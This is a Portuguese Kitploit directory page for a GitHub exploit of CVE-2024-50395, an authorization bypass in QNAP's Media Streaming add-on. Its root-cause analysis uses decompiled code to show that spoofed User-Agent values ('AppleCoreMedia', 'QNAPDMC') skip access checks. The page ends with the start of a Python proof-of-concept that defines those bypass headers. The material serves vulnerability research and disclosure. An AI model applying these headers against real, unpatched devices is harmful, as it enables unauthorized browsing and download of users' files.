Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-50395 — Exploit em Python para CVE-2024-50395, um bypass de autorização no add-on Media Streaming da QNAP. Usa cabeçalhos User-Agent maliciosos para contornar a autenticação e navegar/baixar arquivos de mídia via solicitações SOAP UPnP. | Kitploit
Ferramentas/GitHubGitHub/neko-hat/cve-2024-50395
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubneko-hat/cve-2024-50395

CVE-2024-50395

Exploit em Python para CVE-2024-50395, um bypass de autorização no add-on Media Streaming da QNAP. Usa cabeçalhos User-Agent maliciosos para contornar a autenticação e navegar/baixar arquivos de mídia via solicitações SOAP UPnP.

Ver Repositório
22há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-50395

Informações do CVE

Foi relatada uma vulnerabilidade de bypass de autorização por meio de chave controlada pelo usuário que afeta o complemento Media Streaming. Se explorada, a vulnerabilidade pode permitir que atacantes da rede local obtenham privilégios. Já corrigimos a vulnerabilidade na seguinte versão: Media Streaming add-on 500.1.1.6 (2024/08/02) e posteriores.

PoC GIF

PoC.gif

Causa Raiz

Bypass de Autorização no Método GET

A função FUN_001293f0 no Ghidra, que provavelmente é chamada de função ParseHttpHeaders no código-fonte original, analisa os dados do cabeçalho HTTP das requisições feitas pelo cliente.

Essa função também analisa o “User-Agent” e obtém seu valor.

iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
  pcVar6 = strstr((char *)__s,"Twonky");
  if ((pcVar6 == (char *)0x0) &&
     (pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
    if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
       (lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
       lVar14 != 0)) {
      ppuVar10 = __ctype_b_loc();
      do {
        puVar9 = puVar9 + 1;
      } while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
               0x20) != 0);
      lVar11 = 0;
      pcVar6 = *(char **)(client_type_patterns + 8);
      lVar14 = client_type_patterns;
      lVar18 = client_type_patterns;
      while (pcVar6 != (char *)0x0) {
        if (*(int *)(lVar14 + 0x10) == 1) {
          if (*(int *)(lVar14 + 0x14) == 0) {
            lVar14 = strstrc(puVar9,pcVar6,0xd);
            lVar18 = client_type_patterns;
            if (lVar14 != 0) {
              pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
              puVar20 = (undefined *)0x0;
              uVar22 = 5;
              local_138 = *(int *)(client_type_patterns + lVar11);
              lVar12 = (longlong)local_138;
              uVar15 = 0x204;
              local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                                   0x10);
              goto LAB_00129ab1;
            }
          }

Nesse momento, se o valor de “User-Agent” for “AppleCoreMedia”, os códigos abaixo são executados.

lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
  if (*(int *)(lVar14 + 0x10) == 1) {
    if (*(int *)(lVar14 + 0x14) == 0) {
      lVar14 = strstrc(puVar9,pcVar6,0xd);
      lVar18 = client_type_patterns;
      if (lVar14 != 0) {
        pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
        puVar20 = (undefined *)0x0;
        uVar22 = 5;
        local_138 = *(int *)(client_type_patterns + lVar11);
        lVar12 = (longlong)local_138;
        uVar15 = 0x204;
        local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                             0x10);
        goto LAB_00129ab1;
      }
    }

E então vai para LAB_00129aba1

LAB_00129ab1:
                      myDebugUtilWrapperPrint
                                (uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
                                 ,lVar12);
LAB_00129abb:
                      lVar14 = *(long *)(param_1 + 0x20);
                      uVar8 = (ulong)*(uint *)(param_1 + 0x30);
                    }

Em seguida, os códigos abaixo são executados

LAB_00129627:
        for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
        }
        __s = __s + 2;
      } while (__s < (uchar *)((int)uVar8 + lVar14));
    }
    if (local_138 < 0) {
      local_138 = g_DefaultClientTypeId;
    }
  }
  iVar4 = local_138;
  pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
  myDebugUtilWrapperPrint
            (5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
             "finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
  local_174 = local_174 | *(uint *)(param_1 + 0x88);
  *(int *)(param_1 + 0x38) = local_138;
  bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
  ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
  bVar26 = ppbVar17 == (byte **)0x0;
  *(uint *)(param_1 + 0x88) = local_174;
  lVar14 = 8;
  *(uint *)(param_1 + 0xa4) = local_130;
  *(int *)(param_1 + 0xa8) = local_13c;
  *(int *)(param_1 + 0xac) = local_134;
  pbVar19 = *ppbVar17;
  pbVar21 = (byte *)"AppleTV";
  /*
  omited...
  */
  
  uVar15 = 0;
  if ((local_174 & 0x100) == 0) goto LAB_001298c4;

Preste atenção no código uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;

Se o valor do User-Agent for “AppleCoreMedia”, esse código pode ser executado.

Portanto, a função FUN_001293f0 retorna o valor 0.

Essa função é chamada em FUN_001411f0, que atua como uma função de roteamento. Quando o valor de retorno é 0, a FUN_001411f0 não executa nenhuma função que envie o código de erro HTTP 401. (”Deny Access”)

(A função FUN_001411f0 provavelmente é chamada de ProcessHTTPSubscribe no código-fonte original.)

Método POST

O Tipo de Cliente "QNAPDMC" é inicializado na função “InsertQNAPClientType”. (Essa função é chamada no main)

E nessa função, a variável g_QNAPDMCClientTypeId é inicializada.

Quando um cliente usa o método HTTP POST, a função principal de processamento é FUN_0012ee50.

  uVar21 = 1;
  myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
  ;
                    /* DAT_001690a2 is "POST" */
  lVar11 = 5;
  pbVar13 = &DAT_001690a2;
  pbVar14 = local_298;
  do {
    if (lVar11 == 0) break;
    lVar11 = lVar11 + -1;
    uVar19 = *pbVar13 < *pbVar14;
    uVar21 = *pbVar13 == *pbVar14;
    pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
    pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
  } while ((bool)uVar21);
  if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
    param_1[0xd] = 2;
    FUN_0012ee50(param_1);
    goto exit;
  }

Se o cabeçalho da requisição tiver “Soapaction”, a função ExecuteSoapAction é executada.

(o valor de *(long *)(param_1 + 0x10) foi definido em FUN_001293f0 )

  if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
    param_1[3] = 1;
    return (ulong)(param_1[10] - param_1[0xc]);
  }
  if (*(long *)(param_1 + 0x10) != 0) {
    uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
    return uVar2;
  }

Em ExecuteSoapAction, se (*(int *)(param_1 + 0x38) for igual a g_QNAPDMCClientTypeId, podemos contornar a autorização.

  if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
    if (n_lan_addr < 1) {
LAB_0014a27f:
      pcVar6 = "Deny Access";
      goto LAB_0014a3dd;
    }
    if (DAT_00398a90 != *(int *)(param_1 + 4)) {
      puVar3 = &lan_addr;
      do {
        if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
        piVar1 = (int *)(puVar3 + 0x2c);
        puVar3 = puVar3 + 0x1c;
      } while (*piVar1 != *(int *)(param_1 + 4));
    }
  }
  pcVar6 = strchr(param_2,0x23);

A variável (*(int *)(param_1 + 0x38) é inicializada em FUN_001293f0 usando o “User-Agent”.

Portanto, podemos contornar a autorização usando o cabeçalho de requisição “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”.

Exploit

#!/usr/bin/python3
# POC.py

import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse

from xml.dom.minidom import parseString
#from tqdm import tqdm

log = lambda x: print("\033[31m[+]" + "\033[37m"+x)

HOST = 'http://{0}:{1}'

session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}

def makedirs(path):
    if not os.path.exists(path):
        os.makedirs(path)
Baixar ferramenta